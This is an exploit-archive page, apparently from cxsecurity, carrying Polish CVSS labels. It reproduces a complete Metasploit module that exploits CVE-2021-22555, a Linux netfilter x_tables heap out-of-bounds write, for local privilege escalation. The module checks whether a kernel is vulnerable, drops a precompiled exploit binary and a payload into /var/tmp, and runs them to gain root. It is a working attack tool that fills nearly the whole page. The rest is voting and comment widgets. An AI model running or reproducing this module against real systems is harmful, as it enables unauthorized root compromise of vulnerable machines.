Netfilter x_tables Heap Out-Of-Bounds Write / Privilege Escalation

2021.10.09
Credit: Brendan Coles
Risk: High
Local: No
Remote: Yes
CWE: CWE-264


Ogólna skala CVSS: 4.6/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 3.9/10
Wymagany dostęp: Lokalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GreatRanking include Msf::Post::Common prepend Msf::Exploit::Remote::AutoCheck include Msf::Post::Linux::Priv include Msf::Post::Linux::System include Msf::Post::Linux::Kernel include Msf::Post::File include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'Netfilter x_tables Heap OOB Write Privilege Escalation', 'Description' => %q{ A heap out-of-bounds write affecting Linux since v2.6.19-rc1 was discovered in net/netfilter/x_tables.c. This allows an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space. Kernels up to 5.11 (including) are vulnerable. More information about vulnerable kernels is available at https://nvd.nist.gov/vuln/detail/CVE-2021-22555#vulnConfigurationsArea }, 'License' => MSF_LICENSE, 'Author' => [ 'Andy Nguyen (theflow@)', # The original author of this exploit 'Szymon Janusz', # The author of this module 'bcoles' # Updated the C source code to provide more targets ], 'DisclosureDate' => '2021-07-07', # YYYY-DD-MM. Public disclosure date 'Platform' => 'linux', 'Arch' => [ ARCH_X64 ], 'SessionTypes' => ['meterpreter', 'shell'], 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [ UNRELIABLE_SESSION ], # The module could fail to get root sometimes. 'Stability' => [ OS_RESOURCE_LOSS ], # After too many failed attempts, the system needs to be restarted. 'SideEffects' => [ ARTIFACTS_ON_DISK ] }, 'References' => [ ['CVE', '2021-22555'], ['URL', 'https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html'], ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2021-22555'], ['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22555'], ['URL', 'https://ubuntu.com/security/CVE-2021-22555'] ] ) ) register_options( [ OptString.new('WritableDir', [true, 'Directory to write persistent payload file.', '/var/tmp']), OptInt.new('CmdTimeout', [true, 'Maximum number of seconds to wait for the exploit to complete', 10]) ] ) end def base_dir datastore['WritableDir'].to_s end def cmd_timeout datastore['CmdTimeout'].to_i end def get_external_source_code(cve, file) file_path = ::File.join(::Msf::Config.install_root, "external/source/exploits/#{cve}/#{file}") ::File.binread(file_path) end def strip_comments(c_code) c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '') end def check unless kernel_modules.include? 'ip_tables' vprint_warning('The ip_tables module is not loaded.') return CheckCode::Safe('The ip_tables module is not loaded.') end return CheckCode::Safe('LKRG is installed.') if lkrg_installed? return CheckCode::Safe('grsecurity is in use') if grsec_installed? release = kernel_release version = "#{release} #{kernel_version.split(' ').first}" ubuntu_offsets = strip_comments(get_external_source_code('CVE-2021-22555', 'exploit.c')).scan(/kernels\[\] = \{(.+?)\};/m).flatten.first ubuntu_kernels = ubuntu_offsets.scan(/"(.+?)"/).flatten if ubuntu_kernels.empty? fail_with(Msf::Module::Failure::BadConfig, 'Error parsing the list of supported kernels.') end return CheckCode::Safe("Ubuntu kernel #{version} is not vulnerable.") if !ubuntu_kernels.include? version # Setting the MSGMNI to a lower value is an easy remedy for this exploit on vulnerable kernels. # Currently, the exploit uses #define NUM_MSQIDS 4096, which is the minimum allowed message queue length. minimum_msgmni = 4096 msgmni_path = '/proc/sys/kernel/msgmni' return CheckCode::Safe("#{msgmni_path} is not readable.") if !readable?(msgmni_path) msgmni = read_file(msgmni_path).to_i if msgmni >= minimum_msgmni return CheckCode::Appears("Target is running kernel release #{release}.") else return CheckCode::Safe("The kernel's MSGMNI queue size of #{msgmni} is too small for the exploit to execute successfully, making the target invulnerable. A minimum queue size of #{minimum_msgmni} is required. This setting can only be changed using sudo on the victim machine.") end end def upload_exploit_binary executable_name = rand_text_alphanumeric(5..10) @executable_path = "#{base_dir}/#{executable_name}" upload_and_chmodx(@executable_path, exploit_data('CVE-2021-22555', 'ubuntu.elf')) register_file_for_cleanup(@executable_path) end def upload_payload_binary payload_name = rand_text_alphanumeric(5..10) @payload_path = "#{base_dir}/#{payload_name}" upload_and_chmodx(@payload_path, generate_payload_exe) register_file_for_cleanup(@payload_path) end def run_payload response = cmd_exec(@executable_path, @payload_path, cmd_timeout) vprint_status(response) if response =~ /No space left on device/ # After too many failed attempts, the system needs to be restarted. fail_with(Failure::PayloadFailed, 'The exploit failed! To try again, the remote system needs to be restarted as the memory has been corrupted.') elsif response =~ /Error could not corrupt any primary message/ || response =~ /Error could not leak adjacent secondary message/ fail_with(Failure::PayloadFailed, 'The exploit failed when trying to corrupt the message queue. You can try running the exploit again.') elsif response =~ /system is not using an Ubuntu kernel/ fail_with(Failure::PayloadFailed, 'The target is not running an Ubuntu kernel.') elsif response =~ /not recognized/ fail_with(Failure::PayloadFailed, 'The target is running a kernel version that is currently not supported by the exploit.') end print_status('Payload executed!') end def exploit fail_with(Failure::BadConfig, "#{base_dir} is not writable.") if !writable?(base_dir) print_status('Dropping pre-compiled binaries to system...') upload_exploit_binary print_status('Uploading payload...') upload_payload_binary print_status('Running payload on remote system...') run_payload end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2021, cxsecurity.com

 

Back to Top